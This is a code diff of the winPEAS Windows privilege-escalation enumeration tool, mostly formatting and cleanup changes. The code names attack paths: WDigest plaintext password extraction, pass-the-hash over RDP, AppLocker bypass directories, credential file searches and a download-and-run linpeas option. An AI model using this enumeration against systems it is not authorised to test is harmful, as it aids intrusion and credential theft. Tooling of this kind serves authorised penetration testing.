Beaprint.NoColorPrint($" OutboundExceptions : {info.OutboundExceptions}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -783,7 +783,7 @@ namespace winPEAS.Checks
|
||||
Beaprint.AnsiPrint(string.Format(formatString, namedPipe.Name, namedPipe.CurrentUserPerms, namedPipe.Sddl), colors);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
catch (Exception ex)
|
||||
{
|
||||
//Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
@@ -816,8 +816,8 @@ namespace winPEAS.Checks
|
||||
{
|
||||
PrintSysmonConfiguration();
|
||||
PrintSysmonEventLogs();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void PrintSysmonConfiguration()
|
||||
{
|
||||
Beaprint.MainPrint("Enumerating Sysmon configuration");
|
||||
@@ -1070,7 +1070,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte"))
|
||||
{
|
||||
val = System.BitConverter.ToString((byte[])kvp.Value);
|
||||
val = BitConverter.ToString((byte[])kvp.Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -1086,12 +1086,12 @@ namespace winPEAS.Checks
|
||||
Beaprint.BadPrint(" [!] WDigest is enabled - plaintext password extraction is possible!");
|
||||
}
|
||||
|
||||
if (key.Equals("RunAsPPL", System.StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
||||
if (key.Equals("RunAsPPL", StringComparison.InvariantCultureIgnoreCase) && val == "1")
|
||||
{
|
||||
Beaprint.BadPrint(" [!] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.");
|
||||
}
|
||||
|
||||
if (key.Equals("DisableRestrictedAdmin", System.StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
||||
if (key.Equals("DisableRestrictedAdmin", StringComparison.InvariantCultureIgnoreCase) && val == "0")
|
||||
{
|
||||
Beaprint.BadPrint(" [!] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.");
|
||||
}
|
||||
@@ -1107,7 +1107,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine" );
|
||||
Beaprint.MainPrint("Display Local Group Policy settings - local users/machine");
|
||||
|
||||
var infos = GroupPolicy.GetLocalGroupPolicyInfos();
|
||||
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Extensions;
|
||||
@@ -39,7 +37,7 @@ namespace winPEAS.Checks
|
||||
public void PrintInfo(bool isDebug)
|
||||
{
|
||||
Beaprint.GreatPrint("Users Information");
|
||||
|
||||
|
||||
new List<Action>
|
||||
{
|
||||
PrintCU,
|
||||
@@ -158,7 +156,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("RDP Sessions");
|
||||
List<Dictionary<string, string>> rdp_sessions = Info.UserInfo.UserInfoHelper.GetRDPSessions();
|
||||
List<Dictionary<string, string>> rdp_sessions = UserInfoHelper.GetRDPSessions();
|
||||
if (rdp_sessions.Count > 0)
|
||||
{
|
||||
string format = " {0,-10}{1,-15}{2,-15}{3,-25}{4,-10}{5}";
|
||||
@@ -263,7 +261,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.MainPrint("Password Policies");
|
||||
Beaprint.LinkPrint("", "Check for a possible brute-force");
|
||||
List<Dictionary<string, string>> PPy = Info.UserInfo.UserInfoHelper.GetPasswordPolicy();
|
||||
List<Dictionary<string, string>> PPy = UserInfoHelper.GetPasswordPolicy();
|
||||
Beaprint.DictPrint(PPy, ColorsU(), false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -282,7 +280,7 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (var logonSession in logonSessions)
|
||||
{
|
||||
Beaprint.NoColorPrint ($" Method: {logonSession.Method}\n" +
|
||||
Beaprint.NoColorPrint($" Method: {logonSession.Method}\n" +
|
||||
$" Logon Server: {logonSession.LogonServer}\n" +
|
||||
$" Logon Server Dns Domain: {logonSession.LogonServerDnsDomain}\n" +
|
||||
$" Logon Id: {logonSession.LogonId}\n" +
|
||||
@@ -317,7 +315,7 @@ namespace winPEAS.Checks
|
||||
if (User32.GetLastInputInfo(ref lastInputInfo))
|
||||
{
|
||||
var currentUser = WindowsIdentity.GetCurrent().Name;
|
||||
var idleTimeMiliSeconds = (uint) Environment.TickCount - lastInputInfo.Time;
|
||||
var idleTimeMiliSeconds = (uint)Environment.TickCount - lastInputInfo.Time;
|
||||
var timeSpan = TimeSpan.FromMilliseconds(idleTimeMiliSeconds);
|
||||
var idleTimeString = $"{timeSpan.Hours:D2}h:{timeSpan.Minutes:D2}m:{timeSpan.Seconds:D2}s:{timeSpan.Milliseconds:D3}ms";
|
||||
|
||||
@@ -364,7 +362,7 @@ namespace winPEAS.Checks
|
||||
lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime();
|
||||
}
|
||||
|
||||
Beaprint.AnsiPrint( $" Computer Name : {computerName}\n" +
|
||||
Beaprint.AnsiPrint($" Computer Name : {computerName}\n" +
|
||||
$" User Name : {localUser.name}\n" +
|
||||
$" User Id : {localUser.user_id}\n" +
|
||||
$" Is Enabled : {enabled}\n" +
|
||||
|
||||
@@ -7,9 +7,9 @@ using System.Runtime.InteropServices;
|
||||
namespace winPEAS.Helpers.AppLocker
|
||||
{
|
||||
internal static class AppLockerHelper
|
||||
{
|
||||
{
|
||||
private static readonly HashSet<string> _appLockerByPassDirectoriesSet = new HashSet<string>
|
||||
{
|
||||
{
|
||||
@"C:\Windows\Temp",
|
||||
@"C:\Windows\System32\spool\drivers\color",
|
||||
@"C:\Windows\Tasks",
|
||||
@@ -88,7 +88,7 @@ namespace winPEAS.Helpers.AppLocker
|
||||
PrintFilePathRules(rule);
|
||||
PrintFilePublisherRules(rule);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (COMException)
|
||||
{
|
||||
@@ -116,7 +116,7 @@ namespace winPEAS.Helpers.AppLocker
|
||||
|
||||
var color = GetColorBySid(filePublisherRule.UserOrGroupSid);
|
||||
|
||||
Beaprint.ColorPrint( $" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
||||
Beaprint.ColorPrint($" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
|
||||
|
||||
Beaprint.GoodPrint($" Conditions");
|
||||
|
||||
@@ -150,10 +150,10 @@ namespace winPEAS.Helpers.AppLocker
|
||||
$" Translated Name: {normalizedName}\n" +
|
||||
$" Description: {filePathRule.Description}\n" +
|
||||
$" Action: {filePathRule.Action}");
|
||||
|
||||
|
||||
var color = GetColorBySid(filePathRule.UserOrGroupSid);
|
||||
|
||||
Beaprint.ColorPrint( $" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
||||
Beaprint.ColorPrint($" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
|
||||
|
||||
Beaprint.GoodPrint($" Conditions");
|
||||
|
||||
@@ -241,7 +241,7 @@ namespace winPEAS.Helpers.AppLocker
|
||||
Beaprint.ColorPrint($" No potential bypass found while recursively checking files/subfolders " +
|
||||
$"for write or equivalent permissions with depth: {FolderCheckMaxDepth}\n" +
|
||||
$" Check permissions manually.", Beaprint.YELLOW);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -328,39 +328,42 @@ namespace winPEAS.Helpers.AppLocker
|
||||
|
||||
try
|
||||
{
|
||||
var subfolders = Directory.EnumerateDirectories(path);
|
||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||
|
||||
ruleType = ruleType.ToLower();
|
||||
|
||||
if (!_appLockerFileExtensionsByType.ContainsKey(ruleType))
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
throw new ArgumentException(nameof(ruleType));
|
||||
}
|
||||
|
||||
var filteredFiles =
|
||||
(from file in files
|
||||
let extension = Path.GetExtension(file)?.ToLower() ?? string.Empty
|
||||
where _appLockerFileExtensionsByType[ruleType].Contains(extension)
|
||||
select file).ToList();
|
||||
var subfolders = Directory.EnumerateDirectories(path);
|
||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||
|
||||
// first check write access for files
|
||||
if (filteredFiles.Any(CheckFileWriteAccess))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
ruleType = ruleType.ToLower();
|
||||
|
||||
// if we have not found any writable file,
|
||||
// check subfolders for write access
|
||||
if (subfolders.Any(subfolder => CheckDirectoryWriteAccess(subfolder, out bool _, isGoodPrint: false)))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
if (!_appLockerFileExtensionsByType.ContainsKey(ruleType))
|
||||
{
|
||||
throw new ArgumentException(nameof(ruleType));
|
||||
}
|
||||
|
||||
// check recursively all the subfolders for files/sub-subfolders
|
||||
if (subfolders.Any(subfolder => CheckFilesAndSubfolders(subfolder, ruleType, depth + 1)))
|
||||
{
|
||||
return true;
|
||||
var filteredFiles =
|
||||
(from file in files
|
||||
let extension = Path.GetExtension(file)?.ToLower() ?? string.Empty
|
||||
where _appLockerFileExtensionsByType[ruleType].Contains(extension)
|
||||
select file).ToList();
|
||||
|
||||
// first check write access for files
|
||||
if (filteredFiles.Any(CheckFileWriteAccess))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
// if we have not found any writable file,
|
||||
// check subfolders for write access
|
||||
if (subfolders.Any(subfolder => CheckDirectoryWriteAccess(subfolder, out bool _, isGoodPrint: false)))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
// check recursively all the subfolders for files/sub-subfolders
|
||||
if (subfolders.Any(subfolder => CheckFilesAndSubfolders(subfolder, ruleType, depth + 1)))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
|
||||
@@ -5,79 +5,79 @@ using System.Runtime.InteropServices;
|
||||
namespace winPEAS.Helpers.AppLocker
|
||||
{
|
||||
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
||||
[TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)]
|
||||
[ComImport]
|
||||
public interface IAppIdPolicyHandler
|
||||
{
|
||||
// Token: 0x06000001 RID: 1
|
||||
[DispId(1)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
||||
[TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)]
|
||||
[ComImport]
|
||||
public interface IAppIdPolicyHandler
|
||||
{
|
||||
// Token: 0x06000001 RID: 1
|
||||
[DispId(1)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
||||
|
||||
// Token: 0x06000002 RID: 2
|
||||
[DispId(2)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
[return: MarshalAs(UnmanagedType.BStr)]
|
||||
string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
||||
// Token: 0x06000002 RID: 2
|
||||
[DispId(2)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
[return: MarshalAs(UnmanagedType.BStr)]
|
||||
string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
||||
|
||||
// Token: 0x06000003 RID: 3
|
||||
[DispId(3)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
[return: MarshalAs(UnmanagedType.BStr)]
|
||||
string GetEffectivePolicy();
|
||||
// Token: 0x06000003 RID: 3
|
||||
[DispId(3)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
[return: MarshalAs(UnmanagedType.BStr)]
|
||||
string GetEffectivePolicy();
|
||||
|
||||
// Token: 0x06000004 RID: 4
|
||||
[DispId(4)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||
// Token: 0x06000004 RID: 4
|
||||
[DispId(4)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||
|
||||
// Token: 0x06000005 RID: 5
|
||||
[DispId(5)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||
}
|
||||
// Token: 0x06000005 RID: 5
|
||||
[DispId(5)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||
}
|
||||
|
||||
// Token: 0x02000003 RID: 3
|
||||
[CoClass(typeof(AppIdPolicyHandlerClass))]
|
||||
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
||||
[ComImport]
|
||||
public interface AppIdPolicyHandler : IAppIdPolicyHandler
|
||||
{
|
||||
}
|
||||
// Token: 0x02000003 RID: 3
|
||||
[CoClass(typeof(AppIdPolicyHandlerClass))]
|
||||
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
|
||||
[ComImport]
|
||||
public interface AppIdPolicyHandler : IAppIdPolicyHandler
|
||||
{
|
||||
}
|
||||
|
||||
// Token: 0x02000004 RID: 4
|
||||
[Guid("F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3")]
|
||||
[ClassInterface(ClassInterfaceType.None)]
|
||||
[TypeLibType(TypeLibTypeFlags.FCanCreate)]
|
||||
[ComImport]
|
||||
public class AppIdPolicyHandlerClass : IAppIdPolicyHandler, AppIdPolicyHandler
|
||||
{
|
||||
// Token: 0x02000004 RID: 4
|
||||
[Guid("F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3")]
|
||||
[ClassInterface(ClassInterfaceType.None)]
|
||||
[TypeLibType(TypeLibTypeFlags.FCanCreate)]
|
||||
[ComImport]
|
||||
public class AppIdPolicyHandlerClass : IAppIdPolicyHandler, AppIdPolicyHandler
|
||||
{
|
||||
|
||||
// Token: 0x06000007 RID: 7
|
||||
[DispId(1)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
public virtual extern void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
||||
// Token: 0x06000007 RID: 7
|
||||
[DispId(1)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
public virtual extern void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
|
||||
|
||||
// Token: 0x06000008 RID: 8
|
||||
[DispId(2)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
[return: MarshalAs(UnmanagedType.BStr)]
|
||||
public virtual extern string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
||||
// Token: 0x06000008 RID: 8
|
||||
[DispId(2)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
[return: MarshalAs(UnmanagedType.BStr)]
|
||||
public virtual extern string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
|
||||
|
||||
// Token: 0x06000009 RID: 9
|
||||
[DispId(3)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
[return: MarshalAs(UnmanagedType.BStr)]
|
||||
public virtual extern string GetEffectivePolicy();
|
||||
// Token: 0x06000009 RID: 9
|
||||
[DispId(3)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
[return: MarshalAs(UnmanagedType.BStr)]
|
||||
public virtual extern string GetEffectivePolicy();
|
||||
|
||||
// Token: 0x0600000A RID: 10
|
||||
[DispId(4)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
public virtual extern int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||
// Token: 0x0600000A RID: 10
|
||||
[DispId(4)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
public virtual extern int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||
|
||||
// Token: 0x0600000B RID: 11
|
||||
[DispId(5)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
public virtual extern int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||
}
|
||||
// Token: 0x0600000B RID: 11
|
||||
[DispId(5)]
|
||||
[MethodImpl(MethodImplOptions.InternalCall)]
|
||||
public virtual extern int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
@@ -105,7 +104,7 @@ namespace winPEAS.Helpers
|
||||
|
||||
PrintLegend();
|
||||
Console.WriteLine();
|
||||
LinkPrint("https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation", "You can find a Windows local PE Checklist here:");
|
||||
Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: " + YELLOW + "https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
|
||||
}
|
||||
|
||||
static void PrintLegend()
|
||||
@@ -122,29 +121,31 @@ namespace winPEAS.Helpers
|
||||
public static void PrintUsage()
|
||||
{
|
||||
Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " domain" + GRAY + " Enumerate domain information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " systeminfo" + GRAY + " Search system information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " userinfo" + GRAY + " Search user information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " processinfo" + GRAY + " Search processes information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " servicesinfo" + GRAY + " Search services information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " domain" + GRAY + " Enumerate domain information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " systeminfo" + GRAY + " Search system information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " userinfo" + GRAY + " Search user information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " processinfo" + GRAY + " Search processes information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " servicesinfo" + GRAY + " Search services information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
|
||||
Console.WriteLine();
|
||||
Console.WriteLine(LBLUE + " quiet" + GRAY + " Do not print banner" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " searchpf" + GRAY + " Search credentials via regex also in Program Files folders" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " quiet" + GRAY + " Do not print banner" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " searchpf" + GRAY + " Search credentials via regex also in Program Files folders" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " max-regex-file-size=1000000" + GRAY + $" Max file size (in Bytes) to search regex in. Default: {Checks.Checks.MaxRegexFileSize}B" + NOCOLOR);
|
||||
|
||||
Console.WriteLine();
|
||||
Console.WriteLine(LCYAN + " Additional checks (slower):");
|
||||
Console.WriteLine(LBLUE + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" +
|
||||
Console.WriteLine(GREEN + " Additional checks (slower):");
|
||||
Console.WriteLine(LCYAN + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" +
|
||||
$" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR);
|
||||
|
||||
}
|
||||
@@ -213,9 +214,18 @@ namespace winPEAS.Helpers
|
||||
Console.WriteLine(DGRAY + to_print + NOCOLOR);
|
||||
}
|
||||
|
||||
public static void LongPathWarning(string path)
|
||||
{
|
||||
if (!Checks.Checks.WarningIsLongPath)
|
||||
{
|
||||
GrayPrint($"The path {path} is too large, try to enable LongPaths in the registry (no more warning about this will be shown)");
|
||||
Checks.Checks.WarningIsLongPath = true;
|
||||
}
|
||||
}
|
||||
|
||||
internal static void PrintDebugLine(string log)
|
||||
{
|
||||
Console.WriteLine(YELLOW + " [Debug] " + log + NOCOLOR);
|
||||
Console.WriteLine(DGRAY + " [Debug] " + log + NOCOLOR);
|
||||
Console.WriteLine();
|
||||
}
|
||||
|
||||
|
||||
@@ -4,7 +4,6 @@ using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Security.Permissions;
|
||||
using System.Text;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
@@ -394,6 +393,6 @@ namespace winPEAS.Helpers.CredentialManager
|
||||
PersistenceType = (PersistenceType)credential.Persist;
|
||||
Description = credential.Comment;
|
||||
LastWriteTimeUtc = DateTime.FromFileTimeUtc(credential.LastWritten);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
namespace winPEAS.Helpers.CredentialManager
|
||||
{
|
||||
|
||||
|
||||
}
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
using System;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Helpers.CredentialManager
|
||||
@@ -18,7 +18,7 @@ namespace winPEAS.Helpers.CredentialManager
|
||||
/// </summary>
|
||||
public class NativeMethods
|
||||
{
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// The CREDENTIAL structure contains an individual credential.
|
||||
///
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
@@ -15,9 +14,9 @@ namespace winPEAS.Helpers
|
||||
{
|
||||
internal class Win32
|
||||
{
|
||||
public const int ErrorSuccess = 0;
|
||||
public const int ErrorSuccess = 0;
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
public static string IsDomainJoined()
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
@@ -244,7 +242,7 @@ namespace winPEAS.Helpers
|
||||
{
|
||||
|
||||
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
|
||||
if (perm != null && perm.Length> 0)
|
||||
if (perm != null && perm.Length > 0)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = perm;
|
||||
@@ -438,9 +436,11 @@ namespace winPEAS.Helpers
|
||||
// Get the owner of a process given the PID
|
||||
public static Dictionary<string, string> GetProcU(Process p)
|
||||
{
|
||||
Dictionary<string, string> data = new Dictionary<string, string>();
|
||||
data["name"] = "";
|
||||
data["sid"] = "";
|
||||
Dictionary<string, string> data = new Dictionary<string, string>
|
||||
{
|
||||
["name"] = "",
|
||||
["sid"] = ""
|
||||
};
|
||||
IntPtr pHandle = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
@@ -471,7 +471,7 @@ namespace winPEAS.Helpers
|
||||
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
|
||||
|
||||
Process proc = Process.GetProcessById(pid);
|
||||
Dictionary<string,string> user = GetProcU(proc);
|
||||
Dictionary<string, string> user = GetProcU(proc);
|
||||
|
||||
StringBuilder fileName = new StringBuilder(2000);
|
||||
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
|
||||
@@ -586,7 +586,7 @@ namespace winPEAS.Helpers
|
||||
{ // This shouldn't be needed
|
||||
if (path.StartsWith("\\"))
|
||||
path = path.Substring(1);
|
||||
hive = Helpers.Registry.RegistryHelper.CheckIfExists(path);
|
||||
